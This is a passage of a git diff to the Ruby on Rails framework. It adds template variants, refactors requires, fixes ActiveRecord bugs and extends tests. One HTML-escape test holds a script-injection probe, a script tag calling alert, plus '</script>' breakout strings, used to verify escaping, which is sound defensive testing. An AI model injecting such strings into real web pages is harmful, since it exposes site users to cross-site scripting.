+++ b/actionview/lib/action_view/rendering.rb
@@ -88,10 +88,14 @@ module ActionView
private
- # Find and renders a template based on the options given.
+ # Find and render a template based on the options given.
# :api: private
def _render_template(options) #:nodoc:
+ variant = options[:variant]
+
lookup_context.rendered_format = nil if options[:formats]
+ lookup_context.variants = [variant] if variant
+
view_renderer.render(view_context, options)
end
diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb
index 7b4b5e13e0..743ef6de0a 100644
--- a/actionview/lib/action_view/template/error.rb
+++ b/actionview/lib/action_view/template/error.rb
@@ -41,6 +41,9 @@ module ActionView
'template'
end
+ if partial && path.present?
+ path = path.sub(%r{([^/]+)$}, "_\\1")
+ end
searched_paths = prefixes.map { |prefix| [prefix, path].join("/") }
out = "Missing #{template_type} #{searched_paths.join(", ")} with #{details.inspect}. Searched in:\n"
diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb
index c8a0059596..4523060442 100644
--- a/actionview/lib/action_view/template/handlers/erb.rb
+++ b/actionview/lib/action_view/template/handlers/erb.rb
@@ -18,7 +18,7 @@ module ActionView
src << "@output_buffer.safe_append='"
src << "\n" * @newline_pending if @newline_pending > 0
src << escape_text(text)
- src << "';"
+ src << "'.freeze;"
@newline_pending = 0
end
@@ -67,7 +67,7 @@ module ActionView
def flush_newline_if_pending(src)
if @newline_pending > 0
- src << "@output_buffer.safe_append='#{"\n" * @newline_pending}';"
+ src << "@output_buffer.safe_append='#{"\n" * @newline_pending}'.freeze;"
@newline_pending = 0
end
end
diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb
index 3304605c1a..3a3b74cdd5 100644
--- a/actionview/lib/action_view/template/resolver.rb
+++ b/actionview/lib/action_view/template/resolver.rb
@@ -1,6 +1,6 @@
require "pathname"
require "active_support/core_ext/class"
-require "active_support/core_ext/class/attribute_accessors"
+require "active_support/core_ext/module/attribute_accessors"
require "action_view/template"
require "thread"
require "thread_safe"
@@ -162,8 +162,8 @@ module ActionView
# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver #:nodoc:
- EXTENSIONS = [:locale, :formats, :handlers]
- DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{.:handlers,}"
+ EXTENSIONS = { :locale => ".", :formats => ".", :variants => "+", :handlers => "." }
+ DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
def initialize(pattern=nil)
@pattern = pattern || DEFAULT_PATTERN
@@ -240,7 +240,9 @@ module ActionView
end
handler = Template.handler_for_extension(extension)
- format = pieces.last && Template::Types[pieces.last]
+ format = pieces.last && pieces.last.split(EXTENSIONS[:variants], 2).first # remove variant from format
+ format &&= Template::Types[format]
+
[handler, format]
end
end
@@ -303,12 +305,13 @@ module ActionView
# An Optimized resolver for Rails' most common case.
class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
def build_query(path, details)
- exts = EXTENSIONS.map { |ext| details[ext] }
query = escape_entry(File.join(@path, path))
- query + exts.map { |ext|
- "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
- }.join
+ exts = EXTENSIONS.map do |ext, prefix|
+ "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}"
+ end.join
+
+ query + exts
end
end
diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb
index db77cb5d19..b84e0281ae 100644
--- a/actionview/lib/action_view/template/types.rb
+++ b/actionview/lib/action_view/template/types.rb
@@ -1,5 +1,5 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module ActionView
class Template
diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb
index 7afa2fa613..af53ad3b25 100644
--- a/actionview/lib/action_view/testing/resolvers.rb
+++ b/actionview/lib/action_view/testing/resolvers.rb
@@ -21,7 +21,7 @@ module ActionView #:nodoc:
def query(path, exts, formats)
query = ""
- EXTENSIONS.each do |ext|
+ EXTENSIONS.each_key do |ext|
query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)'
end
query = /^(#{Regexp.escape(path)})#{query}$/
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
index 30b6b8b141..ed34eecf55 100644
--- a/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
+++ b/actionview/lib/action_view/vendor/html-scanner/html/sanitizer.rb
@@ -1,6 +1,6 @@
require 'set'
require 'cgi'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
module HTML
class Sanitizer
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
index 6623b47e83..eef0abb609 100644
--- a/actionview/test/abstract_unit.rb
+++ b/actionview/test/abstract_unit.rb
@@ -267,8 +267,6 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
end
end
-# Emulate AV railtie.
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
module ActionController
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
index 9a7c617eb3..9bacbba908 100644
--- a/actionview/test/template/erb_util_test.rb
+++ b/actionview/test/template/erb_util_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/json'
class ErbUtilTest < ActiveSupport::TestCase
include ERB::Util
@@ -15,6 +16,51 @@ class ErbUtilTest < ActiveSupport::TestCase
end
end
+ HTML_ESCAPE_TEST_CASES = [
+ ['<br>', '&lt;br&gt;'],
+ ['a & b', 'a &amp; b'],
+ ['"quoted" string', '&quot;quoted&quot; string'],
+ ["'quoted' string", '&#39;quoted&#39; string'],
+ [
+ '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+ '&lt;script type=&quot;application/javascript&quot;&gt;alert(&quot;You are &#39;pwned&#39;!&quot;)&lt;/script&gt;'
+ ]
+ ]
+
+ JSON_ESCAPE_TEST_CASES = [
+ ['1', '1'],
+ ['null', 'null'],
+ ['"&"', '"\u0026"'],
+ ['"</script>"', '"\u003c/script\u003e"'],
+ ['["</script>"]', '["\u003c/script\u003e"]'],
+ ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+ [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+ ]
+
+ def test_html_escape
+ HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, html_escape(raw)
+ end
+ end
+
+ def test_json_escape
+ JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, json_escape(raw)
+ end
+ end
+
+ def test_json_escape_does_not_alter_json_string_meaning
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal ActiveSupport::JSON.decode(raw), ActiveSupport::JSON.decode(json_escape(raw))
+ end
+ end
+
+ def test_json_escape_is_idempotent
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal json_escape(raw), json_escape(json_escape(raw))
+ end
+ end
+
def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
value = json_escape("asdf")
assert !value.html_safe?
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
index d28e4aeb48..68c83f2059 100644
--- a/actionview/test/template/form_collections_helper_test.rb
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -84,6 +84,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'input[type=radio][value=false].bar#user_active_false'
end
+ test 'collection radio sets the label class defined inside the block' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+ b.label(class: "collection_radio_buttons")
+ end
+
+ assert_select 'label.collection_radio_buttons[for=user_active_true]'
+ assert_select 'label.collection_radio_buttons[for=user_active_false]'
+ end
+
+ test 'collection radio does not include the input class in the respective label' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_true]'
+ assert_no_select 'label.bar[for=user_active_false]'
+ end
+
test 'collection radio does not wrap input inside the label' do
with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
@@ -215,6 +233,24 @@ class FormCollectionsHelperTest < ActionView::TestCase
assert_select 'input[type=checkbox][value=2].bar'
end
+ test 'collection check boxes sets the label class defined inside the block' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first do |b|
+ b.label(class: 'collection_check_boxes')
+ end
+
+ assert_select 'label.collection_check_boxes[for=user_active_category_1]'
+ assert_select 'label.collection_check_boxes[for=user_active_category_2]'
+ end
+
+ test 'collection check boxes does not include the input class in the respective label' do
+ collection = [[1, 'Category 1', {class: 'foo'}], [2, 'Category 2', {class: 'bar'}]]
+ with_collection_check_boxes :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_category_1]'
+ assert_no_select 'label.bar[for=user_active_category_2]'
+ end
+
test 'collection check boxes accepts selected values as :checked option' do
collection = (1..3).map{|i| [i, "Category #{i}"] }
with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
diff --git a/actionview/test/template/form_helper_test.rb b/actionview/test/template/form_helper_test.rb
index 3e8a2468ed..90f7a412fb 100644
--- a/actionview/test/template/form_helper_test.rb
+++ b/actionview/test/template/form_helper_test.rb
@@ -1300,6 +1300,24 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_with_index_and_with_collection_radio_buttons
+ post = Post.new
+ def post.active; false; end
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input id='post_1_active_true' name='post[1][active]' type='radio' value='true' />" +
+ "<label for='post_1_active_true'>true</label>" +
+ "<input checked='checked' id='post_1_active_false' name='post[1][active]' type='radio' value='false' />" +
+ "<label for='post_1_active_false'>false</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_form_for_with_collection_check_boxes
post = Post.new
def post.tag_ids; [1, 3]; end
@@ -1397,6 +1415,24 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_with_index_and_with_collection_check_boxes
+ post = Post.new
+ def post.tag_ids; [1]; end
+ collection = [[1, "Tag 1"]]
+
+ form_for(post, index: '1') do |f|
+ concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+ end
+
+ expected = whole_form("/posts", "new_post", "new_post") do
+ "<input checked='checked' id='post_1_tag_ids_1' name='post[1][tag_ids][]' type='checkbox' value='1' />" +
+ "<label for='post_1_tag_ids_1'>Tag 1</label>" +
+ "<input name='post[tag_ids][]' type='hidden' value='' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_form_for_with_file_field_generate_multipart
Post.send :attr_accessor, :file
diff --git a/actionview/test/template/lookup_context_test.rb b/actionview/test/template/lookup_context_test.rb
index 203ad6d910..ce9485e146 100644
--- a/actionview/test/template/lookup_context_test.rb
+++ b/actionview/test/template/lookup_context_test.rb
@@ -36,6 +36,11 @@ class LookupContextTest < ActiveSupport::TestCase
assert @lookup_context.formats.frozen?
end
+ test "provides getters and setters for variants" do
+ @lookup_context.variants = [:mobile]
+ assert_equal [:mobile], @lookup_context.variants
+ end
+
test "provides getters and setters for formats" do
@lookup_context.formats = [:html]
assert_equal [:html], @lookup_context.formats
@@ -249,15 +254,15 @@ class TestMissingTemplate < ActiveSupport::TestCase
e = assert_raise ActionView::MissingTemplate do
@lookup_context.find("foo", %w(parent child), true)
end
- assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
end
test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
e = assert_raise ActionView::MissingTemplate do
- details = {:handlers=>[], :formats=>[], :locale=>[]}
+ details = {:handlers=>[], :formats=>[], :variants=>[], :locale=>[]}
@lookup_context.view_paths.find("foo", "parent", true, details)
end
- assert_match %r{Missing partial parent/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ assert_match %r{Missing partial parent/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
end
end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
index 6e640889d2..be336ea3fb 100644
--- a/actionview/test/template/number_helper_test.rb
+++ b/actionview/test/template/number_helper_test.rb
@@ -14,7 +14,8 @@ class NumberHelperTest < ActionView::TestCase
assert_equal nil, number_to_currency(nil)
assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
- assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: "K&#269;", format: "%n %u", negative_format: "%n - %u")
+ assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: raw("K&#269;"), format: "%n %u", negative_format: "%n - %u")
+ assert_equal "&amp;pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "&pound;")
end
def test_number_to_percentage
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
index 5a7d11f513..055a273cc3 100644
--- a/actionview/test/template/render_test.rb
+++ b/actionview/test/template/render_test.rb
@@ -63,7 +63,7 @@ module RenderTestCases
def test_render_template_with_a_missing_partial_of_another_format
@view.lookup_context.formats = [:html]
- assert_raise ActionView::Template::Error, "Missing partial /missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+ assert_raise ActionView::Template::Error, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
@view.render(:template => "with_format", :formats => [:json])
end
end
@@ -444,7 +444,7 @@ module RenderTestCases
def test_render_partial_with_layout_raises_descriptive_error
e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
- assert_match "Missing partial /true with", e.message
+ assert_match "Missing partial /_true with", e.message
end
def test_render_with_nested_layout
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
index 9649f349cb..d6cfa997cd 100644
--- a/actionview/test/template/testing/fixture_resolver_test.rb
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -3,13 +3,13 @@ require 'abstract_unit'
class FixtureResolverTest < ActiveSupport::TestCase
def test_should_return_empty_list_for_unknown_path
resolver = ActionView::FixtureResolver.new()
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => []})
assert_equal [], templates, "expected an empty list of templates"
end
def test_should_return_template_for_declared_path
resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => [:erb]})
assert_equal 1, templates.size, "expected one template"
assert_equal "this text", templates.first.source
assert_equal "arbitrary/path", templates.first.virtual_path
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
index c280a22843..a514bba83d 100644
--- a/actionview/test/template/text_helper_test.rb
+++ b/actionview/test/template/text_helper_test.rb
@@ -21,6 +21,11 @@ class TextHelperTest < ActionView::TestCase
assert simple_format("<b> test with html tags </b>").html_safe?
end
+ def test_simple_format_included_in_isolation
+ helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+ assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+ end
+
def test_simple_format
assert_equal "<p></p>", simple_format(nil)
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
index d496dbb35e..269714fad0 100644
--- a/actionview/test/template/translation_helper_test.rb
+++ b/actionview/test/template/translation_helper_test.rb
@@ -31,7 +31,7 @@ class TranslationHelperTest < ActiveSupport::TestCase
end
def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
- I18n.expects(:translate).with(:foo, :locale => 'en', :rescue_format => :html).returns("")
+ I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
translate :foo, :locale => 'en'
end
@@ -53,6 +53,12 @@ class TranslationHelperTest < ActiveSupport::TestCase
assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
end
+ def test_raises_missing_translation_message_with_raise_option
+ assert_raise(I18n::MissingTranslationData) do
+ translate(:"translations.missing", :raise => true)
+ end
+ end
+
def test_i18n_translate_defaults_to_nil_rescue_format
expected = 'translation missing: en.translations.missing'
assert_equal expected, I18n.translate(:"translations.missing")
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index e8602ecbcf..77d1252f1f 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -7,7 +7,7 @@
*William Myers*
-* Added new API methods `reset_changes` and `changed_applied` to `ActiveModel::Dirty`
+* Added new API methods `reset_changes` and `changes_applied` to `ActiveModel::Dirty`
that control changes state. Previsously you needed to update internal
instance variables, but now API methods are available.
@@ -23,7 +23,7 @@
for non-numerical ones.
Fixes range validations like `:a..:f` that used to pass with values like `:be`.
- Fixes #10593
+ Fixes #10593.
*Charles Bergeron*
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index f336c759d2..8d6d405e96 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -349,7 +349,7 @@ module ActiveModel
# invoked often in a typical rails, both of which invoke the method
# +match_attribute_method?+. The latter method iterates through an
# array doing regular expression matches, which results in a lot of
- # object creations. Most of the times it returns a +nil+ match. As the
+ # object creations. Most of the time it returns a +nil+ match. As the
# match result is always the same given a +method_name+, this cache is
# used to alleviate the GC, which ultimately also speeds up the app
# significantly (in our case our test suite finishes 10% faster with
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 2864c2ba11..7f99536dbb 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/slice'
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 9a1ff2ad39..bf588b7bd0 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -13,7 +13,7 @@ module ActiveModel
# validates :terms, acceptance: true
# validates :password, confirmation: true
# validates :username, exclusion: { in: %w(admin superuser) }
- # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+ # validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
# validates :age, inclusion: { in: 0..9 }
# validates :first_name, length: { maximum: 30 }
# validates :age, numericality: true
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index 1e035c11e0..4222308f8b 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,13 +1,81 @@
-* Update counter cache on a has_many relationship regardless of default scope
+* Polymorphic `belongs_to` associations with the `touch: true` option set update the timestamps of
+ the old and new owner correctly when moved between owners of different types.
+
+ Example:
+
+ class Rating < ActiveRecord::Base
+ belongs_to :rateable, polymorphic: true, touch: true
+ end
+
+ rating = Rating.create rateable: Song.find(1)
+ rating.update_attributes rateable: Book.find(2) # => timestamps of Song(1) and Book(2) are updated
+
+ *Severin Schoepke*
+
+* Improve formatting of migration exception messages: make them easier to read
+ with line breaks before/after, and improve the error for pending migrations.
+
+ *John Bachir*
+
+* Fix `last` with `offset` to return the proper record instead of always the last one.
+
+ Example:
+
+ Model.offset(4).last
+ # => returns the 4th record from the end.
+
+ Fixes #7441.
+
+ *kostya*, *Lauro Caetano*
+
+* `type_to_sql` returns a `String` for unmapped columns. This fixes an error
+ when using unmapped array types in PG
+
+ Example:
+
+ change_colum :table, :column, :bigint, array: true
+
+ Fixes #13146.
+
+ *Jens Fahnenbruck*, *Yves Senn*
+
+* Fix `QueryCache` to work with nested blocks, so that it will only clear the existing cache
+ after leaving the outer block instead of clearing it right after the inner block is finished.
+
+ *Vipul A M*
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+ object. Helper methods used by multiple fixtures should be defined on the
+ class object returned by `ActiveRecord::FixtureSet.context_class`.
+
+ *Victor Costan*
+
+* Previously, the `has_one` macro incorrectly accepted the `counter_cache`
+ option, but never actually supported it. Now it will raise an `ArgumentError`
+ when using `has_one` with `counter_cache`.
+
+ *Godfrey Chan*
+
+* Implement `rename_index` natively for MySQL >= 5.7.
+
+ *Cody Cutrer*
+
+* Fix bug when validating the uniqueness of an aliased attribute.
+
+ Fixes #12402.
+
+ *Lauro Caetano*
+
+* Update counter cache on a `has_many` relationship regardless of default scope.
Fix #12952.
*Uku Taht*
-* `rename_index` adds the new index before removing the old one. This allows
- to rename indexes on columns with a foreign key and prevents the following error:
+* `rename_index` adds the new index before removing the old one. This allows to
+ rename indexes on columns with a foreign key and prevents the following error:
- `Cannot drop index 'index_engines_on_car_id': needed in a foreign key constraint`
+ Cannot drop index 'index_engines_on_car_id': needed in a foreign key constraint
*Cody Cutrer*, *Yves Senn*
@@ -17,7 +85,6 @@
*Brian Thomas Storti*
-
* Fix validation on uniqueness of empty association.
*Evgeny Li*
@@ -719,11 +786,11 @@
*Neeraj Singh*
-* Removed deprecated method `scoped`
+* Removed deprecated method `scoped`.
*Neeraj Singh*
-* Removed deprecated method `default_scopes?`
+* Removed deprecated method `default_scopes?`.
*Neeraj Singh*
@@ -758,7 +825,7 @@
*Jon Leighton*
-* Remove `activerecord-deprecated_finders` as a dependency
+* Remove `activerecord-deprecated_finders` as a dependency.
*Łukasz Strzałkowski*
@@ -844,7 +911,7 @@
class Author < ActiveRecord::Base
has_many :posts
- has_many :taggings, :through => :posts
+ has_many :taggings, through: :posts
end
class Post < ActiveRecord::Base
@@ -859,7 +926,7 @@
class Author < ActiveRecord::Base
has_many :posts
- has_many :taggings, :through => :posts, :source => :tagging
+ has_many :taggings, through: :posts, source: :tagging
end
class Post < ActiveRecord::Base
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index e1c5b05c36..d397c9e016 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -24,5 +24,5 @@ Gem::Specification.new do |s|
s.add_dependency 'activesupport', version
s.add_dependency 'activemodel', version
- s.add_dependency 'arel', '~> 5.0.0'
+ s.add_dependency 'arel', '~> 5.0.0'
end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index aa43c34d86..e8e36e7cd0 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -5,7 +5,7 @@ module ActiveRecord::Associations::Builder
end
def self.valid_options(options)
- super + [:foreign_type, :polymorphic, :touch]
+ super + [:foreign_type, :polymorphic, :touch, :counter_cache]
end
def self.valid_dependent_options
@@ -91,7 +91,13 @@ module ActiveRecord::Associations::Builder
old_foreign_id = o.changed_attributes[foreign_key]
if old_foreign_id
- klass = o.association(name).klass
+ association = o.association(name)
+ reflection = association.reflection
+ if reflection.polymorphic?
+ klass = o.public_send("#{reflection.foreign_type}_was").constantize
+ else
+ klass = association.klass
+ end
old_record = klass.find_by(klass.primary_key => old_foreign_id)
if old_record
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 66b03c0301..a6e8300642 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -3,7 +3,7 @@
module ActiveRecord::Associations::Builder
class SingularAssociation < Association #:nodoc:
def self.valid_options(options)
- super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
+ super + [:remote, :dependent, :primary_key, :inverse_of]
end
def self.define_accessors(model, reflection)
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index 3924eec872..217fc52dd5 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -128,6 +128,16 @@ module ActiveRecord
end
end
+ def find_generated_attribute_method(method_name) # :nodoc:
+ klass = self
+ until klass == Base
+ gen_methods = klass.generated_attribute_methods
+ return gen_methods.instance_method(method_name) if method_defined_within?(method_name, gen_methods, Object)
+ klass = klass.superclass
+ end
+ nil
+ end
+
# Returns +true+ if +attribute+ is an attribute method and table exists,
# +false+ otherwise.
#
@@ -163,7 +173,14 @@ module ActiveRecord
def method_missing(method, *args, &block) # :nodoc:
self.class.define_attribute_methods
if respond_to_without_attributes?(method)
- send(method, *args, &block)
+ # make sure to invoke the correct attribute method, as we might have gotten here via a `super`
+ # call in a overwritten attribute method
+ if attribute_method = self.class.find_generated_attribute_method(method)
+ # this is probably horribly slow, but should only happen at most once for a given AR class
+ attribute_method.bind(self).call(*args, &block)
+ else
+ send(method, *args, &block)
+ end
else
super
end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index e05e22ebb0..1d3ec75aa1 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -4,7 +4,7 @@ require 'active_support/benchmarkable'
require 'active_support/dependencies'
require 'active_support/descendants_tracker'
require 'active_support/time'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/hash/deep_merge'
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index 128a9377c1..35f19f0bc0 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -128,7 +128,7 @@ module ActiveRecord
# record.credit_card_number = decrypt(record.credit_card_number)
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
@@ -163,7 +163,7 @@ module ActiveRecord
# record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index 06a2ddb8b7..1a323b6a9c 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -305,10 +305,6 @@ module ActiveRecord
"DEFAULT VALUES"
end
- def case_sensitive_equality_operator
- "="
- end
-
def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
"WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 8399232d73..adc23a6674 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -31,8 +31,8 @@ module ActiveRecord
old, @query_cache_enabled = @query_cache_enabled, true
yield
ensure
- clear_query_cache
@query_cache_enabled = old
+ clear_query_cache unless @query_cache_enabled
end
def enable_query_cache!
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index 6268ae4875..51a6929dab 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -690,7 +690,7 @@ module ActiveRecord
column_type_sql
else
- type
+ type.to_s
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
index dcbc3466b2..e3270e734f 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -207,9 +207,14 @@ module ActiveRecord
end
def type_cast(value, column)
- return super unless value == true || value == false
-
- value ? 1 : 0
+ case value
+ when TrueClass
+ 1
+ when FalseClass
+ 0
+ else
+ super
+ end
end
# MySQL 4 technically support transaction isolation, but it is affected by a bug
@@ -278,7 +283,7 @@ module ActiveRecord
# REFERENTIAL INTEGRITY ====================================
- def disable_referential_integrity(&block) #:nodoc:
+ def disable_referential_integrity #:nodoc:
old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
begin
@@ -487,6 +492,14 @@ module ActiveRecord
rename_table_indexes(table_name, new_name)
